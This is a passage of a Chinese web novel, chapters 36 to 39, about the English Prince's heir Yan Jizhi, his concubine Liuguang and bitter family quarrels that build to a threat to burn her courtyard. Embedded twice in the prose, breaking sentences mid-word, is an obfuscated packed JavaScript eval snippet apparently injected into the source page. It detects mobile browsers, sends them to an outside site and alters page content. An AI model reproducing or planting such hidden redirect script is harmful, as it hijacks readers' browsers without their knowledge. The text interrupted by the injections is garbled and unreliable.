留下这么段话,霍巨浪策马赶回京城。晏霁之站在府门前相送,人骑马跑远看不见了,他还遥望出神,忽而抬头看向暖融融的阳光和蓝湛湛的天空。 霍灵渠走到他身侧,探头找找没见哥哥的身影,挽上他的手臂,笑问:“想什么呢?” “巨浪劝我趁早回京否则理亏,你想回了吗?”晏霁之改为揽住她,带她往院里走。 “住在这里我能天天见到桑柔和小祐自然是比在英王府开心,但二哥考虑得有道理。”霍灵渠猜道:“而且再留几日或许会有晏家的本家来相劝,这总是不好的。” “能有什么不好?我最近还生出冲动想干脆什么都撒手不管。”晏霁之骤然心烦上涌,霍灵渠语笑嫣然:“好,我们就通县多住几日,我有些累了,我们回屋歇会儿。” 晏霁之负气站定也不接话,霍灵渠硬拽他回屋再推他躺美人榻里歇歇,她自己则熟稔地靠在男人怀里闭眼打盹儿,让安宁抚慰烦躁的心绪。 夕阳烂漫,天际织彩的霞光越过窗牗翩跹而入,榻里小憩的美人在缠绵热吻中醒来。 “你觉得我狠吗?晏明潜和贾家人不提,裴氏的父叔兄弟、晏明妧姐妹的夫家还有徐家人总共十多位全部因此而折;押在刑部大牢待审的结果根本没悬念,会给英王脸面,晏明潜只罢官而无牢狱之灾,另外十多位必会被判刑下狱,牢狱期一至十年不等。” 霍灵渠抱住他,听得懂,他应该并非旁观而是在暗中推波助澜。 “通县多好的地方,你可知通县与英王府有何瓜葛吗?”晏霁之脸颊微颤,压抑不住的是喷薄的愤懑:“晏墉的二女婿在翰林院几年想升官,庶女向他提了,他就满口应下,操心着要选好地方要容易出政绩还不能离京太远。 他挑过圈选中通县,若非出现变故,这女婿已经升任通县县令而非在刑部蹲大牢!呵,多么堪比亲爹的岳父,我在他心里就连个女婿都不如,我究竟做错了什么令他对我这么狠,有种他别把爵位和晏家下任族长位传给我啊?!” 眼中满含怨气甚至有恨意,霍灵渠看得心惊,晏霁之心里在恨英王?她张张唇尽量缓和:“会迁怒是人之常情,英王也许是担心你会偏向亲娘以致损害自家,不得已防范。” 多年积怒,晏霁之只是想发泄下而已,倾诉过,他搂紧女人继续闭目养神任静默流淌;橘红色的晚霞柔光悄然蔓延相绕,给相拥的两人镀上层光晕。 37. 第37章 整个晏氏家族以英王府这脉为嫡系,而论族中威望,当以英王的亲叔叔晏副相为最。 春光明媚好晴朗,暖融融的阳光舒服得直让枝头黄鹂懒惰,京城城门外,官道旁摆摊的小贩们有偷懒的也没叫卖而是靠在椅中晒太阳享受,一位两鬓灰白、精神抖索的老者走到瓜果摊前打扰歇午觉的摊主:“小哥,你家这樱桃怎么卖?” “哦噢,便宜,便宜,看老太爷您要哪种?”刚在打盹儿的年轻小摊贩忙蹿起来招呼:“最好的樱桃稍微贵点六十文钱一斤,差的就三十多文钱,中间还有四五十文钱的。” “给拿两斤最贵的樱桃,小哥可给挑最好的啊,我家大孙子挑剔。”老人家乐呵呵笑着,年轻的小摊贩热情应:“好嘞,老太爷放心吧。” 陪在老人家身边的长随递过块半两碎银让摊主不必找钱了,拎过樱桃扶晏副相往马车走:“相爷,不是老奴要多嘴,世子他金贵,六十文钱的樱桃怕是不能合世子爷的口味。” “樱桃刚熟,就图尝个鲜儿,霁儿他去通县小住有几天了?” 问得今日正好两旬,老人家浮现愁绪,长随宽慰:“相爷亲自出面,您放心吧。” 晏副相坐进车厢,坚固朴实的马车驶向通县,一个多时辰后稳稳当当停在目的府门前;因来的突然没有提前知会,没人候着相迎,老人家没甚在意,自己进去找侄孙。 “您派个孙辈哪怕是我哪位叔叔来,霁儿都受得住,您亲自来岂不折煞我?没多大事,在英王府住腻了来通县换换风景而已。”晏霁之扶叔公进堂屋落座,朝外扬声喊:“流光给小叔公奉茶,拿前天刚从杭州送到的明前龙井。” “叔公在京城城门外的瓜果摊前看樱桃水灵鲜嫩就买了两斤,尝尝?”晏副相和蔼询问,晏霁之拧眉显得为难:“您是不是随意了些,路边摊不配我的风格。” “配的,你曾祖和祖父还有叔祖们谁没曾在路边的小摊贩吃茶吃面,给你尝尝路边摊的樱桃正好换换口味。”晏副相慈眉善目地拧过侄孙,随即看见那位著名的流光姨娘带领奴婢们进堂屋奉茶点,他不禁笑意收敛些。 霍灵渠摆好茶盏果盘糕点要告退时被拉住,晏霁之握住她的柔荑,笑容中似饱含少年情怀的热烈悸动:“流光抬头,给小叔公看看可否还算落落大方?” 闻言,霍灵渠便想再屈膝施礼奈何手腕被他握着,只能颔首示意:“流光见过晏相。” 晏副相当即眉头就皱起来,握紧拐杖应声好,对侄孙道:“当着叔公的面也不嫌害臊,你脸皮厚当你的姨娘也像你吗?还怕叔公欺负你要让你的姨娘给你撑腰吗?” “我家流光好,我想让流光给您请个安而已嘛。”晏霁之嘟囔辩解,放开手让她先离开,待堂屋中独他们叔祖孙俩,他从果盘里拣颗樱桃,笑嘻嘻问:“您看流光可还能入眼?” “年前听闻霁儿竟将其他妾室散尽,叔公就开始担心。” 晏副相握着拐杖敲敲地砖,沉声训道:“流光姨娘是娼妓出身,是清倌儿也不可能抹掉她曾经身在风尘,你再喜爱她也该有点分寸。” “英王妃可还想跟我做交易,若我能帮佟家拿到贵妃的位置,她就允许我将流光扶正。”晏霁之笑意未减打趣:“我给义正言辞地回绝了,您说我有分寸不?” 晏副相不陪他嬉皮笑脸:“霁儿敢发誓没动要将流光姨娘扶正的念头?” “也许整个家族今年就会走到末路,我娶谁还重要吗?”晏霁之意兴阑珊,晏副相板脸:“说什么胡话,你爹做的就是天下普遍疼爱儿女的父亲的做法,他没糊涂,是审时度势而行,这也值得你和他怄气吗?” “您敢说他最近没在您面前骂过我?” 晏霁之刹时气血上涌,冷笑反驳:“那批人下狱或者叔公您给他点醒之后,他必然在怨恨我没提醒他,我存心想借薛家之势把他疼爱的儿女们给一锅端。 可初时我即使劝了他也不会听,还得被冠以想害那批人去死的恶名,事后回顾又觉得我没劝就是要害他们全部没法活,您教教我该怎样做才能伺候得起这种疼爱儿女的父亲?” 来前就很清楚必得直面这份拷问,此刻听来,晏副相仍感怀,可再难也得解。 “再有小半年,你祖父去世就满整十年了,你祖父这辈的兄弟们只剩叔公我还在世。而你曾祖父逝世都快31年了,那时候霁儿还没出生,叔公才刚到而立之年;但你的名字是你曾祖生前钦定,霁之是你曾祖对嫡曾孙对晏家的美好期许。” 晏副相泛起苦涩:“自古权臣有几个能得善终?你曾祖和晏家是幸运的,因为当年圣人刚登基没两年你曾祖就病逝了;可也是这份幸运让晏家骑虎难下,晏家前路在何方? 三十年,叔公这辈的兄弟们谨小慎微三十年还没有找到,谁不怕一朝倾塌整个家族颠覆?你曾祖晚年就在安排退路,可晏家至今未退,曾经权倾朝野的权臣家族想退谈何容易?谁能赌得起真放掉权柄后不会被赶尽杀绝,晏家就只能既找退路又抓权柄,难啊。” 虽是老生常谈,晏霁之还是沉默着低头了,晏副相语调渐放和缓:“你祖父生前与叔公念叨,晏家亏待了霁儿,若你曾祖父能在孙辈中找到希冀,霁儿的母亲绝非是现在这位。 叔公明白霁儿心中有怨甚至怨了好些年,但你爹怎会不疼爱你重视你?只是人都有喜恶,你爹既已厌恶岳家冷淡妻室,难免会对你有些偏颇,别与他计较。” “是我不该贪心还是我不配奢求父母疼爱?” 满腔愤懑难以发泄又难以咽下,如同一拳打在棉花上的束手无力,晏霁之低头压抑,憋屈而颓然:“姑母生前住的宫殿叫关雎宫,关雎……”他讽声,悲凉又苦涩。 “十六岁进东宫做良娣,十七岁被册封为贵妃;长女两岁夭折,二女儿磕磕绊绊活到十三岁病逝,小儿子出生才四天就夭折,授康十四年撒手人寰,这就是我姑母的一生。 大家都说晏贵妃是圣人最爱的女人,祖父也说正是因为这份情,圣人多年踌躇,最终在姑母有生之年未对晏家动手,可圣人现在的太上皇他真的爱过我姑母吗? 如果爱过,他为何能那么狠辣?暗中用药损伤姑母的胞宫逼得姑母生下的皇嗣都病歪歪活不长,姑母就活生生在宫里熬干心血,那么年轻油尽灯枯。” 低吼声凄厉,晏霁之眼眶猩红霍然站起,想狠狠发泄偏又硬咬牙忍住了:“我呢?我在父母难以调和的冲突中被挤压撕扯地没有立锥之地,所以我不配有爹疼有娘爱。 我喜欢的女人是娼妓出身,所以我连想娶自己喜欢的女人都不行。叔公,到底图什么,姑母牺牲自己保住了晏家十几年安稳,我再牺牲自己,晏家就有出路了吗?” 老人家手掌发颤,心酸地拉侄孙到自己身旁,苦笑道:“霁儿,叔公知道你动情难,这么多年也才两个,和玉氏的娘子没缘分;好不容易有了流光姨娘,再逼你,委实伤你的心。但圣人禅位对晏家就是机会,我们抓住这机会必能找到出路。” “授康十六年圣人原配任皇后薨,授康十九年嬴天漾他爹谋逆;授康二十一年圣人立继后,霍家成为后族;授康二十二年悼太子薨,授康二十三年我祖父病逝。自授康二十四年起,西南叛乱坐大,契丹南下,交趾进犯,局势就没真正稳定过。” 晏霁之眉眼丧气:“圣人腾不出手才给晏家喘息之机,而今西南叛乱平定,等到与交趾国的战事结束,北境再打得契丹没有还击之力,就该轮到晏家了。 已经是正徽五年了,禅位时没办法强压皇帝做傀儡,圣人手中的大权还能握几年?可不管谁坐龙椅,对晏家的态度不会变。”他苦笑下:“其实不放心想铲除也很正常。” “到底还有几年乃至好几年,能够晏家找到出路的。”晏副相只能这般宽慰自己和侄孙,否则就太苦了,挤挤笑意说:“叔公正想告诉你,常州府尹被判押解进京,真要查就不可能放过,圣人真有动显国公府的心思。” “薛家弄倒英王麾下十几位,英王弄倒薛家麾下几位,差十个数呢。就算常州府尹是显国公的堂弟有点分量,可我爹他送出的好处还少吗?” “有预兆还能不比没预兆强吗?”晏副相劝道:“霁儿听话,明早和叔公回京。” 晏霁之沉吟会儿,衷心说:“叔公最近怕过吗?我最近有点害怕,怕孤独,怕寂寞煎熬;您有没有担心过晏家会再出位贵妃,英王下血本挣来的,贵妃却是您的孙女而他不谅解?” 晏副相眼中溢出苦涩,只此瞬间已然道出老人家的忡忡忧心,散布老人斑的手握住侄孙年轻修长的手掌并借力站起来,拍拍侄孙的肩膀说:“叔公去看看园子,不用陪我。” 晏霁之扶长辈走出堂屋,目送叔祖父拄拐杖微驼着背走远,他叹息声抬头望向天际,只见夕阳染红云彩,晚霞变幻铸起瑰丽,天边正在铺染叫人动容陶醉的壮观美景。 院中掌灯,刚还美不胜收的夕阳消失无踪,黑暗如期而至占据浩瀚苍穹;零散小星探出,确认是熟悉的老窝后立即呼朋引伴,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对!”相隔近十年再忆起,晏霁之仍充满冷意:“我感到不适回书房歇息,徐侧妃就已经睡在我书房的软塌里,书房外没有下人的踪影,春~药发作,可真真是想把我给毁了!” 霍灵渠惊得倒灌寒气下意识伸手捂唇,晏霁之满目戾气:“一刻多钟后,好些本家亲友闯进我的书房要拉我回喜宴上,若我没扛住,后果可想而知。” “扛?这事能扛得住吗?”霍灵渠难以置信:“难道你硬撑着没纾解?” “我不嫌恶心吗?随便找个丫鬟,我都嫌恶心。”晏霁之解释道:“我让晏诺把徐侧妃送回她院里,我自己割破手臂放血再用碎冰块降热降燥,剩下的就靠意志硬撑,强行装作没事人的样子和本家们回喜宴上。” 霍灵渠惊极:“那可是虎狼药,能靠意志强抗吗?” “当时我想就不信自己还能被点药物控制?!”晏霁之讥讽:“我安然无恙回到席面上,他们就以为下人不中用根本没害我中招,且一直以为我不知道他们曾经耍过那份暗算;但我让徐侧妃知晓了,可她竟然还能与贾侧妃握手言和,利益够大还真是能摒弃前嫌。” “你少年时的隐疾就是那个时候落下的?”霍灵渠算是理明白了:“因为你硬生生憋着没纾解,损伤身体以致落病?” 晏霁之点头:“犯恶心,对女人对男女之事都嫌恶心,好多年才缓过劲儿。” 霍灵渠怀抱他宽慰:“总归雨过天晴,少年落的隐疾早已治愈,被暗害的仇也算报了;你就莫再与自己乃至你父亲较劲,只当为你自己好,把心结解开吧。” “授康二十六年夏,圣人决意在九宫山建造太微宫,由顺郡王总揽监造事宜,晏墉提携贾家把贾鑫白塞进营建官员的队伍当中,这种机会我再放过岂不傻吗? 不想根本不需我如何运作,想趁机捞油水的不在少数连顺郡王都有这心思,上行下效,材质一差再差,太微宫营建过半,那些廊柱地砖和豆腐渣差不多。” 晏霁之不得不恭维:“建造皇家行宫都敢贪这么狠,我也是看得叹为观止。除顺郡王外,涉案官员全部被判刑下狱,而顺郡王至今闲赋连个闲职都捞不着。可晏墉多会照拂,贾家迁往扬州经商,他又是屁颠屁颠操心比亲女婿还亲。 小叔公劝我别与他计较,我真想质问句凭什么?!晏明潜给我使过多少绊,单凭想害我身败名裂和与钟姨娘有染这两件事,我想把晏明潜剁成肉酱喂狗的心都有。 试想晏墉对我得有多狠才能宠出那么群玩意儿?把贾侧妃的侄女塞给我做贵妾,只因我不进贾姨娘的屋他就能几番出头,都到这种份儿上了,我为何还要谅解?” 霍灵渠默然无言,晏霁之缓解好心情抱怀里的女人再赴巫山。纱幔撩动,窗外繁星窥见丝缕害羞景象纷纷争先恐后躲进云层深处,熠熠星光退散,深夜黑漆而寂寥。 38. 第38章 蓝湛湛的天空澄澈高远,春风拂绿百花娇,灿烂的阳光明媚,简单的呼吸都透着舒畅。 从通县回京的队伍浩浩荡荡走过官道,队伍靠前位置第二辆马车车窗帘被掀起,片刻,车窗帘落下,霍灵渠猜道:“午时应该能到京城城门外。” 晏霁之金冠束发,一袭暗红锦袍穿戴张扬,他可有可无地嗯声,拥着女人继续亲热。 清早刚进车厢,霍灵渠就靠在他怀里睡回笼觉,一刻多钟前睡醒;他闲来无事,自然而然会想抱女人亲吻消磨时间,拥吻频频的他简直把不喜以唇相触的自己抛到九霄云外了。 霍灵渠身着茜素红珠络缝金叠纱裙,顺滑的秀发绾做倭堕髻,鬓间做工精美的金丝牡丹缀红珠流苏步摇随之小幅摇晃;因在马车里,她倒没担心过晏霁之会吻起来收不住。 马车稳稳地缓慢停住,晏霁之没在意,霍灵渠推他,他亦只顾拉过女人的纤手不让捣乱,下刻车厢外响起爽朗的喊声:“二哥,我都给小叔公问过安了怎么你还懒在马车里,莫非是在和流光姨娘亲热吗?” 乍然传来阵哄闹笑声,在车厢里的霍灵渠羞得脸红,他甫松开,急忙掏丝帕给他擦擦唇;晏霁之抱好怀里的女人再掀起车窗帘探头往外,见果然是堂弟晏煦之。 “我说朗朗晴空的谁敢拿我开涮?我家流光算时间,最多才到城门,我好好靠着车壁闭目养神就被你给打断了,你说你冷不丁回京来也不晓得传个讯儿?” 若非关系好哪会那么肆意开玩笑,堂兄弟俩只差半岁,自小同养在祖父祖母膝下,不仅按名字更像亲兄弟,比起冷淡疏离的庶弟们,晏霁之也对这堂弟才有骨肉手足的感觉。 “哪是我没通知,弟弟我升官了升任太仆寺丞,本想回京来跟自家兄弟们好好热闹,哪想你居然跑通县看风景害我白欢喜场。”晏煦之俊朗的眉眼间凝起嫌弃:“还不下马车!” “晏煦之你这么说话可就伤人了。”晏副相的嫡长孙、弱冠的晏和之骑马靠近,不满道:“都是之字辈的兄弟,看不起谁啊。” “小屁孩,怎么跟哥哥说话呢?”晏煦之端起堂兄的架势训,瞥见晏霁之走下马车随即转移攻击:“嗳嗳,你今天是要回家还是要去幽会情人,穿得那么骚?” 晏霁之坦坦荡荡扯谎:“流光给我选的衣裳,我看还行吧。” 坐在车厢里的霍灵渠闻言默默腹诽:明明是你自己要挑身红锦袍还要让我也穿红衣。 “你这位大名鼎鼎的流光姨娘,”晏煦之啧啧:“听说年前你为她把其余妾室给散尽了,哥哥你是要把这小妾宠上天吗?” “没办法,世间美人虽然多如牛毛可冠绝当世的绝代佳人何其少。”薛驸马扬声接话,带批人策马奔来毫不含糊地寻衅:“想当年若非乐邑阻拦,哪能被晏霁之捷足先登?一想我就心痛啊,四年多未见,流光你别来无恙,走出车厢与本驸马叙叙旧如何?” 晏霁之按住两位堂弟莫动,淡笑道:“驸马爷这么好雅兴?” “怕你的叔公庶弟堂弟们拿你做傻瓜哄骗,我特意来告诉你个好消息,当然好雅兴。”薛驸马握住马鞭前倾身体,骑在骏马上居高临下道:“流光小筑已被鸠占鹊巢,晏明妧和晏明婠姐妹带儿女们回娘家后强抢流光小筑分配给她们的庶女住,霁之兄你这位英王世子做得是有多窝囊啊才能被群庶出骑在头上耀武扬威。” 晏霁之瞬间变脸,真不知,堂弟庶弟要说话被他挡回,他冷冷问薛述聪:“当真?” “你姐夫妹夫的小妾庶女都在流光小筑住几天了还能有假吗,怎样,晏副相和晏煦之他们还拿你当傻瓜蒙你在鼓里吧?”薛驸马放肆地得意嘲笑,晏霁之阴沉地转向一同来接但比起堂兄弟们显得没存在感的庶弟晏如瑰再确认:“薛驸马所言当真吗?” 晏如瑰硬着头皮解释:“二哥,是因为——” “我问你是真还是假?”晏霁之高声打断,眉宇间怒焰涛涛,目光锋锐得似能凿穿对方:“你只需回答真或假,真假二字都不会说吗?” 霍桑柔抱小祐坐在后面的马车里,悄悄撩着车窗帘观察,看着这情景感觉脖颈凉了凉;心想难怪主公骂英王世子奸险,这些天偶尔遇到那温和,这会儿动怒竟让她有点怕。 晏如瑰低头应真的,实则除他之外晏副相和晏煦之他们不知情,可知不知道都不重要了,甚至生气英王竟如此放纵都不重要,安抚平息才是重点。晏副相走到侄孙面前,语重深长劝:“霁儿,回府吧,你爹娘还等着你用午膳呢。” “好啊!”晏霁之平静地诡异,他视线越过叔公投向薛述聪问:“你有多少护卫?” “霁儿?!”老人家顿时生出种不好的预感,薛驸马随即大乐接话:“你想要多少?” “你有多少我要多少,派人请霍海啸带护卫在英王府前会面,再给我准备火把和铜油。”晏霁之扬扬剑眉,犹如黑云压城城欲摧,在旁人疑惑紧张难以置信以及薛驸马的兴奋中吐出肯定答案:“把流光小筑给我烧了。” 嘭的一声仿佛有脑弦绷断的声音,猛烈冲击造成的急剧安静下,霍桑柔倒吸凉气,莫名胆寒地抱紧怀里的小祐。晏如瑰惊得险些跌下马,晏和之挨近堂兄身侧用眼神询问怎么办,晏煦之只能回个稍安勿躁的眼神。 “霁儿,你不得胡闹!”晏副相握紧拐杖打破骤然的沉静,晏霁之伸手握住叔公的手,幽深的眼眸莫测含笑,张唇却道:“晏一返回通县传令晏诺进京接应,晏四带部分护卫去准备火把和铜油,备好后在英王府前候命。” 两名高瘦男人从队伍中出列,快奔至晏霁之跟前单膝跪地沉声应是,接过命令要各自去办事时被晏如瑰死死拖住,他苦求道:“二哥你莫要如此,我知道你此刻很生气,难免冲动,求二哥看在大姐和二姐也可怜的份上谅解些,我们先回府见父亲再协商。” “放开,否则被扔飞别怪我没提醒你。” “求二哥冷静谅解。”晏如瑰声音发涩,对上嫡兄冷漠不耐的神情,看叔祖眉头深锁,只得另找援助:“煦之堂兄你帮忙劝劝二哥冷静,否则事情会闹得没法收拾。” 晏煦之默默瞟向堂哥,晏霁之给他个眼神让他自行体会,他干笑:“要不然和之你去把你如瑰哥哥拉开。” 还有热血轻狂的晏和之鄙夷地翻个白眼送他,翻身下马,豪爽地走过去硬拽晏如瑰并试图让他转过弯:“大堂伯偏宠庶出越来越不像话,霁之哥哥再忍这种窝囊气岂非助长他们的气焰,闹就闹正好趁机整顿。” “和之?!”晏如瑰心知哪会那么轻松,心焦地喊叔公换来晏副相一声叹息:“晏诺啊,叔公记得是你们祖父给嫡长孙的,霁儿既然要出动晏诺已不会再退了。” 晏如瑰无力望着叔公,无可奈何拼最后把:“流光姨娘!姨娘向来通情达理,小弟相信姨娘定然不愿看到二哥他与父亲起冲突,还请姨娘劝劝二哥。” 晏和之硬拽堂兄的手倏然停住,薛驸马与晏煦之不约而同看向白驹双驾的豪华马车,看客们交头接耳的私语声细碎,天籁般的询问声从车厢传出:“世子定要烧掉流光小筑吗?” “你要阻拦我吗?”晏霁之佯装微怒,心中却陡然闪过丝怕意,就怕她真要阻拦。 “妾惭愧。”马车车厢里,霍灵渠温柔的语调中自有强硬:“方才听闻三爷说‘求二哥看在大姐和二姐也可怜的份上谅解些’,流光不甚理解,浅谈一二还请三爷指教。 我在流光小筑住四年多,英王府所有人皆知流光小筑乃我的住处,府上若有命令知会我搬出流光小筑再分配给别人住是正经规矩,一声不吭就强行占去是何道理? 三爷说可怜就得谅解,那么乞丐进酒楼食铺强抢饭菜,家道中落的可怜人靠小偷小摸维持生计,活不下的苦命人落草为寇做强盗谋生,是否都该谅解?京兆府衙的大牢里问一圈,有半数是可怜人呢,皆有不得已的苦衷,按三爷的意思应该都要释放吧? 至于您说您的姐姐们可怜,住娘家还有大气派以庶出身份欺到嫡兄弟头上,这是可怜吗?您认为这是可怜所以再三央求欲迫嫡兄谅解,若是不谅解就是要害他们没法活吗? 流光浅薄,但也还知国有法度,百姓们方能安居乐业;家有规矩,子孙方能和睦兴旺。我不懂您言及姐姐们的可怜,亦不懂您逼迫霁之必须谅解的道理,更不懂这究竟是可怜还是以可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459230|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜为名行无耻之实?!三爷既读圣贤书有大学问,请三爷指教。” 百姓围观看热闹多数只看浅显的表层甚少会去深究,而人性往往偏向弱者。没点明前,因晏霁之要烧院就能使得他虽是遭遇欺凌而反击却在舆论中处下风,可把这件事的本质摊开讲清楚了,虽然也没几位看客能认同烧院,但好歹能让舆论不偏向对方倾斜。 不知谁起哄喝彩,看热闹的人们纷纷叫好,薛驸马心情大好地找晏副相讥讽:“这无耻二字当真精辟,点出了这种以可怜做幌恃弱凌强的精髓,晏相以为对吗?” 晏如瑰脸火辣辣的疼,难堪得形同被当众狠狠扇顿巴掌;晏煦之心中腹诽这可真是不怕小妾狐媚,就怕小妾狐媚还能讲理。晏副相的老脸没有任何不自在:“叫驸马爷见笑了。” “不妨事,本驸马就喜欢看晏家的笑话。”薛驸马乐得放肆,扬鞭吩咐带来的随从:“走,去英王府接着看笑话。”这狂妄劲儿让晏和之都想揍他。 暂停的队伍重新启行往前,接到任务的护卫们各自骑马快跑去办事,晏霁之回到车厢里,好奇而感慨:“我真以为你会劝和,忍一时之怒换取与英王和睦。” “我想过的,第一个念头就是想劝你忍,毕竟英王能放纵必然已做好应付的准备,你再反抗既讨不到好处又会闹得父子失和,何必呢?还不如忍下。”霍灵渠摇摇头,考量道:“是三爷这般阻拦令我反感,不由多生出种想法。 这是明目张胆地挑衅,英王竟也偏袒如斯,”说到此她困惑:“其实你有没觉得不对劲,长房和两位姑奶奶向来是在背后耍手段,这么明着挑衅还是第一回,怎么会突然改变行事作风?况且他们现在应该自顾不暇,还要招惹你,图什么?” “不怪,以往长房稳压其他庶出,现今长房和两位姑奶奶遭遇重创,自然得改变作风,还能有比明着压倒嫡系更好地重建威信的捷径吗?恐怕不仅是改变行事作风,从没忘掉过的要争爵位的心思也已重新提上日程。” 霍灵渠不可思议:“争爵位?你说笑吧,他们再利欲熏心也不至于那么天真?” “如果这回我愿意退让,你相信就会不再有挑衅了吗?”晏霁之问,霍灵渠看他眼,低头垂眸间散尽疑虑:“应该是得寸进尺。” 初闻时骤然爆发的怒火逐渐被冷静后心间涌起的阵阵悲凉浇灭,晏霁之将女人拥入怀,风流的桃花眼写尽落寞:“得寸进尺有晏墉的份儿吗?我究竟还在挣扎不甘什么?” “你别多想,英王纵使偏宠庶出,最重视的是你。”霍灵渠只能宽慰。 “被家规压着而已。”晏霁之冷嗤,抱紧怀中人靠车壁闭目养神。 晌午耀眼的阳光护送车队来到英王府前,下刻马蹄声震铄,霍海啸带护卫策马前来,他勒住缰绳翻身下马,问候过晏副相,再向晏霁之确认:“你真要烧掉流光小筑?” “不烧,我会嫌恶。”晏霁之望向两三丈外英王府那古朴雄浑的鎏金匾额,语气淡漠:“总不能留着恶心自己。” “我的长随给海啸你解释过那些无耻行径了吧?你若想做和事佬还是免了,不然恐怕你管不好自己的庶弟庶妹,穆国公偏宠庶出也不是什么秘密。”薛驸马骑在马背乐悠悠地怂恿:“让护卫准备吧,霁之兄一声令下,我们就派人杀进英王府正正规矩。” 霍海啸原本就没想过劝,扫视眼不远处围聚着的老百姓,叹道:“好!” 晏明潜前日出狱,今日午宴还有给他洗尘除晦之意,许多本家都在就等人齐开宴了,晏如瑰带堂弟和之进家门通传嫡兄的交代,一屋子人差点被炸开。 二姑奶奶晏明婠二十三岁,生得雪肤花貌艳若桃李,往常多打扮得浮翠流丹,近来只着素装反倒给她增添几分楚楚可怜之感;她最快反应抱着一岁多的幼子哭起来,哭得英王晏墉心烦意乱,拍桌往外走。 晏和之拽他爹急忙跟上,晏明潜带两位弟弟和几位本家紧随其后,剩下满屋人面面相觑,虽然心痒但也没敢真跟着去府外看热闹,英王的长女晏明妧却没有顾及,拦住想跟的妹妹再把她也想去府外的儿女们交给弟妹裴氏照看,她转而请挺犹豫的嫡母英王妃同出府。 39. 第39章 英王府气阔威严的府门前空地被层层围堵,最外圈是群瞧热闹的,往里是回京的车队,火把和铜油已就绪,薛家和霍家的两队护卫各站两边严阵以待;晏霁之站在最前端,一袭暗红锦袍在阳光下消退华丽反而冒出种枭雄末路的孤鸣寂寥。 霍海啸疑惑他情绪不对,他这哪像是兴师动众要烧院的架势?他甚至就像没有愤怒。 已是午膳的时辰,没抵达英王府前晏霁之就吩咐长随去就近的糕点铺买两份糕点,一份给晏副相垫垫,一份则给流光姨娘。笛生买来糕点,拿一份给姨娘的大丫鬟,绿岫已带两名婢女捧着瓷盘在马车旁候着,她接到油纸包麻利地拆封装盘,再从车窗呈给姨娘。 两只瓷盘共装有四种类十六块糕点,霍灵渠吃块豆沙糕和奶皮糕就让婢女把两盘糕点拿给她妹妹,她自己透过车窗缝隙看几眼晏霁之的身影,可看几眼都觉得他仿佛心凉了。 早晨还在通县时姐姐跟她说进京后会让车夫直接送她和小祐回乌台巷,现在都没顾上,霍桑柔抱娃坐在马车里透过车窗观察这副要动真格的阵势,很怀疑还能收场吗?英王理亏也不能容忍吧,后知后觉发现原来薛驸马是故意要害人家父子闹僵啊,唉。 拿到姐姐让婢女送来的两盘糕点,霍桑柔边带娃吃糕点边想,英王世子对她姐姐还真能算好的,这种情况还能分出心思想到她姐姐会饿。 厚重的府门开启,英王晏墉率众而出,见此阵势惊怒相加,然是英王妃佟梦娴先声夺人:“孽障!你带这些人是要做什么,你眼里还有父母吗?还不让他们快快退下。” 霍海啸莫名有点受惊,如此态度莫非这亲娘还打心底偏向外人吗?看向晏霁之,见他平淡得仿佛没听见,他叹口气拉住想要添油加火的薛驸马:“你我就等结果。” 谁能猜到英王妃的本意是怕她儿子与父亲闹僵故而抢先阻拦呢,只能怪英王妃嘴笨了。大姑奶奶晏明妧微不可察地弯弯唇,向前跨步,哀婉悲伤扬声:“二弟,你姐夫妹夫他们都已被关在刑部大牢,我和明潜明婠遭无妄之灾悲惨至此,你还是容不下我们吗?” 凄楚的语调富有感染力,晏明妧相貌偏纤弱柔美,凭可怜凄苦的姿态就能为她赢三分。 “浑说什么容不下,你胡咧咧什么?”英王妃反应敏捷地再抢先呵斥,晏明妧不在意这对母子谁接,她将在掌握的笑意藏在心底,转过身欲向嫡母相求,可惜她错算还有晏副相一家在场,晏和之抢话:“大堂姐你装得就不累吗? 世子爷宠妾的住处说抢就抢,都明目张胆欺压嫡系了还叫容不下,那什么才叫容得下,让我霁之哥哥把世子位拱手让给你的同母弟弟,让晏明潜将来接掌整个晏家才算吗?” “和之!” 英王晏墉和晏明潜还有晏和之的父亲晏坤异口同声喝止,晏副相不疾不徐交代:“阿墉,你和霁儿商量吧,小叔等人全部中立旁观,不出意见,谁再多话就押下去。” 晏明潜眸光微闪,晏明妧可不是多心而是这叔公明显在冲着她,她咬咬唇想辩白又怕会适得其反,再想想到底不急在此时便满脸委屈地退后。 “我要烧掉流光小筑。”晏霁之终于说话,半点没废话:“请父亲放行。” “流光小筑被占,爹知道你生气,可你上月离府时把整个流光小筑都给搬空了,明妧和明绾的庶女们看到的就是座空院,一眼就相中了。你姐姐和妹妹回娘家住,爹答应过让她们自己挑院,那三个孩子也算你的外甥女要喊你舅舅,一座小院而已,既然外甥女们喜欢,你做舅舅的让出来又何妨?” “荒谬!”晏霁之反驳:“是座空院,全府上下就没人知晓那是我宠妾的住所了吗?流光小筑隔壁我的世子居所也几乎空着,若是父亲您庶女的庶女们喜欢,我也要让?” “混账话,一座妾室住的小院能与你的世子居比吗?”晏墉没好气斥,耐住脾性哄:“毕竟是爹同意的且她们也住几天了,多大点事,何必非要咄咄相逼?看在爹的面上,念在你姐姐妹妹和孩子们可怜,你就退让一步,有何不可?” 晏霁之对峙:“倘若孩儿定要烧掉流光小筑呢?” “是为父同意的,是为父同意把那座院给明妧她们的庶女住。”英王晏墉沉下脸反问:“爹已然做主,你还要烧院,你眼里还有父亲吗?” 若有似无的硝烟气息跃然眼前,晏副相在内的不少人叹息,英王妃急忙给儿子使眼色,有些看客终于察觉事情症结,关键是英王的态度。英王若不偏宠庶出,庶出想狂也狂不起来;英王偏向庶出,这世子爷要闹无疑自己找罪。 